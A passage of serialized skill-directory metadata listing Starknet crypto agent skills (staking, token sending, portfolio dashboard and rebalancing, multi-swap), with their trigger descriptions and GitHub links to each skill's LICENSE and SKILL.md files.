\"swap\".","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fmcp-servers\u002Fahmetenesdur-trade\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fmcp-servers\u002Fahmetenesdur-trade\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":88,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":75},"01M7DTJZ6A0X4PAW3Y8W4J9K64","staking","Stake, unstake, claim, and compound rewards for STRK, WBTC, tBTC, SolvBTC, and LBTC on Starknet. View validators, pools, and staking positions. Use this skill when the user mentions staking, delegating, validators, staking pools, rewards, compounding, unstaking, earning yield, passive income on crypto, or wants to earn on their STRK or BTC tokens — even if they don't say \"stake\" explicitly.","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fmcp-servers\u002Fahmetenesdur-staking\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fmcp-servers\u002Fahmetenesdur-staking\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":96,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":75},"01M7DTJSDZJKCDMW7GHRF4BRH5","send","Send STRK, ETH, or any ERC-20 token to a Starknet address. Supports simulation (dry-run) before execution. Use this skill when the user wants to send, transfer, pay, tip, or move tokens to another wallet address on Starknet. Also trigger when the user mentions sending funds to someone, making a payment, transferring assets, or moving crypto to a specific address — even if they just say \"pay 10 STRK to 0x...\".","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fmcp-servers\u002Fahmetenesdur-send\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fmcp-servers\u002Fahmetenesdur-send\u002FSKILL.md",[],[],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":104,"sourceHtmlUrl":105,"categories":106,"keywords":107,"publishedAt":75},"01M7DTJG1E480D51ZQ7WKDQ26K","portfolio","View a comprehensive DeFi portfolio dashboard and optimize portfolio allocation via automated rebalancing. Use this skill when the user wants an overview, summary, dashboard, total value, net worth, portfolio rebalancing, target allocation, or wants to see all their DeFi positions across Starknet at once. Also trigger when the user asks \"what do I have\", \"show me everything\", \"how much am I worth\", \"my positions\", \"my investments\", \"rebalance my portfolio\", \"I want 50% ETH\", \"optimize my holdings\", or any request for a holistic view of their Starknet holdings — even if they don't explicitly say \"portfolio\".","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fmcp-servers\u002Fahmetenesdur-portfolio\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fmcp-servers\u002Fahmetenesdur-portfolio\u002FSKILL.md",[],[],{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":112,"sourceHtmlUrl":113,"categories":114,"keywords":115,"publishedAt":75},"01M7DTJ7M8TE9R2N36HFBZDGVD","multi-swap","Execute multiple token swaps in a single Starknet transaction via Fibrous (default). Supports per-provider selection (avnu, ekubo, or auto to race all). Supports 2-3 swap pairs bundled into one multicall. Use this skill when the user wants to swap multiple token pairs at once, do batch swaps, execute several trades simultaneously, perform parallel swaps, or do bulk trading in one transaction. Also trigger when the user mentions \"two swaps\", \"three swaps\", \"swap X and Y at the same time\", or wants to convert multiple tokens in a single call.","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fmcp-servers\u002Fahmetenesdur-multi-swap\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fmcp-servers\u002Fahmetenesdur-multi-swap\u002FSKILL.md",[],[]]